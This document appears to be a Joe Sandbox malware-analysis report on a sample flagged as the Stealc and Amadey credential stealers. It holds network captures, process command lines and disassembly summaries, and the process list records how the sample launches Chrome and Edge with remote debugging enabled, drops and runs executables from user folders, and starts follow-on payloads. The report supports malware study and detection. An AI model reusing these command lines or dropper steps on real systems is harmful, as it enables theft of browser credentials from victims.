2024-11-12 16:07:52 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:52 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 26acaadc-e01e-0099-3ca2-34da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160752Z-15869dbbcc6xcpf8hC1DFWxtx00000000n1g000000001c6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:52 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:52 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:52 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:52 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: f61ac3c5-a01e-006f-2aa0-3413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160752Z-15869dbbcc6qwghvhC1DFWw7e8000000015000000000evrb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:52 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Target ID:	0
Start time:	11:07:17
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x280000
File size:	1'795'072 bytes
MD5 hash:	9AD1DC3F66828CD80DD118BD50CE909E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2232961583.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2721838299.000000000034C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2723107847.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2721838299.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:07:29
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:07:30
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2524,i,9816825700669326211,7744358468109525657,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:07:39
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:07:39
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2228,i,9693784177863830162,11049134398304697985,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:07:39
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:07:40
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:07:43
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6644 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:07:44
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6812 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:07:44
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7440 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:07:44
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7440 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:08:07
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGHIJJEGDBF.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:08:07
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:08:07
Start date:	12/11/2024
Path:	C:\Users\user\DocumentsGHIJJEGDBF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsGHIJJEGDBF.exe"
Imagebase:	0x670000
File size:	3'203'072 bytes
MD5 hash:	CA3B6AADC4A481E7078CD2D0ABD40C73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2761674781.0000000000671000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:08:10
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xcc0000
File size:	3'203'072 bytes
MD5 hash:	CA3B6AADC4A481E7078CD2D0ABD40C73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2800944495.0000000000CC1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:08:10
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xcc0000
File size:	3'203'072 bytes
MD5 hash:	CA3B6AADC4A481E7078CD2D0ABD40C73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2799229558.0000000000CC1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:08:40
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6936 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	11:09:00
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xcc0000
File size:	3'203'072 bytes
MD5 hash:	CA3B6AADC4A481E7078CD2D0ABD40C73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.3473161997.0000000000CC1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	11:09:14
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe"
Imagebase:	0x8d0000
File size:	3'144'704 bytes
MD5 hash:	6963C46D550E4A55047DC1C8C490CE2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000002.3477158481.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000002.3477158481.0000000000E96000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 29%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	11:09:22
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	11:09:23
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe"
Imagebase:	0x490000
File size:	1'795'072 bytes
MD5 hash:	9AD1DC3F66828CD80DD118BD50CE909E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6CAE35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB6F688,00001000), ref: 6CAE35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAE35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAE35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAE363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAE369F
__aulldiv.LIBCMT ref: 6CAE36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAE3773
EnterCriticalSection.KERNEL32(6CB6F688), ref: 6CAE377E
LeaveCriticalSection.KERNEL32(6CB6F688), ref: 6CAE37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAE37C4
EnterCriticalSection.KERNEL32(6CB6F688), ref: 6CAE37CB
LeaveCriticalSection.KERNEL32(6CB6F688), ref: 6CAE3801
__aulldiv.LIBCMT ref: 6CAE3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAE3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAE3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAE394C

Strings

GTC, xrefs: 6CAE3912
GenuntelineI, xrefs: 6CAE3639
QPC, xrefs: 6CAE38FC
AuthcAMDenti, xrefs: 6CAE3946
MOZ_TIMESTAMP_MODE, xrefs: 6CAE35DB

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 0ed8584e527fab007d96541b2674bad7bc68cb0a07f4ddbf40b3beec76868118
Instruction ID: 97f3ee0cd46906f399df49232bba650680133e0d03964c984dd64147cf2f6615
Opcode Fuzzy Hash: 0ed8584e527fab007d96541b2674bad7bc68cb0a07f4ddbf40b3beec76868118
Instruction Fuzzy Hash: 4DB1C571B093509FDB08DF2AC85476AB7F6BB8E700F05892EE899D77A0D7709840DB91

Function 6CAFC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CAFC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CAFC969
GetSystemInfo.KERNEL32(?), ref: 6CAFC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CAFC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CAFC9E2

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: b48d5a95ac1bf206e0422a69c37c3d0883743a5b3928b7547a10c4dbd1af7cd2
Instruction ID: ef914f31b3c1d27fb991fa9272805bfcec957da55b15cb2d326cdd455cf04f9d
Opcode Fuzzy Hash: b48d5a95ac1bf206e0422a69c37c3d0883743a5b3928b7547a10c4dbd1af7cd2
Instruction Fuzzy Hash: EC210A317412186BDB14AEA6CCC4BBE7379BF86744F50012EF953A7B80DB7068448790

Function 6CAE3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAE3095

Part of subcall function 6CAE35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB6F688,00001000), ref: 6CAE35D5
Part of subcall function 6CAE35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAE35E0
Part of subcall function 6CAE35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAE35FD
Part of subcall function 6CAE35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAE363F
Part of subcall function 6CAE35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAE369F
Part of subcall function 6CAE35A0: __aulldiv.LIBCMT ref: 6CAE36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAE309F

Part of subcall function 6CB05B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB056EE,?,00000001), ref: 6CB05B85
Part of subcall function 6CB05B50: EnterCriticalSection.KERNEL32(6CB6F688,?,?,?,6CB056EE,?,00000001), ref: 6CB05B90
Part of subcall function 6CB05B50: LeaveCriticalSection.KERNEL32(6CB6F688,?,?,?,6CB056EE,?,00000001), ref: 6CB05BD8
Part of subcall function 6CB05B50: GetTickCount64.KERNEL32 ref: 6CB05BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAE30BE

Part of subcall function 6CAE30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAE3127
Part of subcall function 6CAE30F0: __aulldiv.LIBCMT ref: 6CAE3140

Part of subcall function 6CB1AB2A: __onexit.LIBCMT ref: 6CB1AB30

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 7047dadb8ebd934997c070599f8f933411acad3799d330511c65911de3295a01
Instruction ID: b4d6ac9d458de30182af1a7a8da3cc559d60c0579d81aa72df5dbd82841839b8
Opcode Fuzzy Hash: 7047dadb8ebd934997c070599f8f933411acad3799d330511c65911de3295a01
Instruction Fuzzy Hash: 72F0D612E2478496CA10DF75D8412BAB374AF6B214F106719E884676A1FB2062D8C3D6

Non-executed Functions

Function 6CAF5440 Relevance: 142.3, APIs: 54, Strings: 27, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAF5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF54BE
__Init_thread_footer.LIBCMT ref: 6CAF54DB

Part of subcall function 6CB1AB3F: EnterCriticalSection.KERNEL32(6CB6E370,?,?,6CAE3527,6CB6F6CC,?,?,?,?,?,?,?,?,6CAE3284), ref: 6CB1AB49
Part of subcall function 6CB1AB3F: LeaveCriticalSection.KERNEL32(6CB6E370,?,6CAE3527,6CB6F6CC,?,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CB1AB7C

Part of subcall function 6CB1CBE8: GetCurrentProcess.KERNEL32(?,6CAE31A7), ref: 6CB1CBF1
Part of subcall function 6CB1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAE31A7), ref: 6CB1CBFA

GetCurrentThreadId.KERNEL32 ref: 6CAF54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CAF5516
GetCurrentThreadId.KERNEL32 ref: 6CAF556A
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CAF5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CAF5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CAF5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CAF55E6
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CAF5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAF5616

Part of subcall function 6CB1AB89: EnterCriticalSection.KERNEL32(6CB6E370,?,?,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284), ref: 6CB1AB94
Part of subcall function 6CB1AB89: LeaveCriticalSection.KERNEL32(6CB6E370,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CB1ABD1

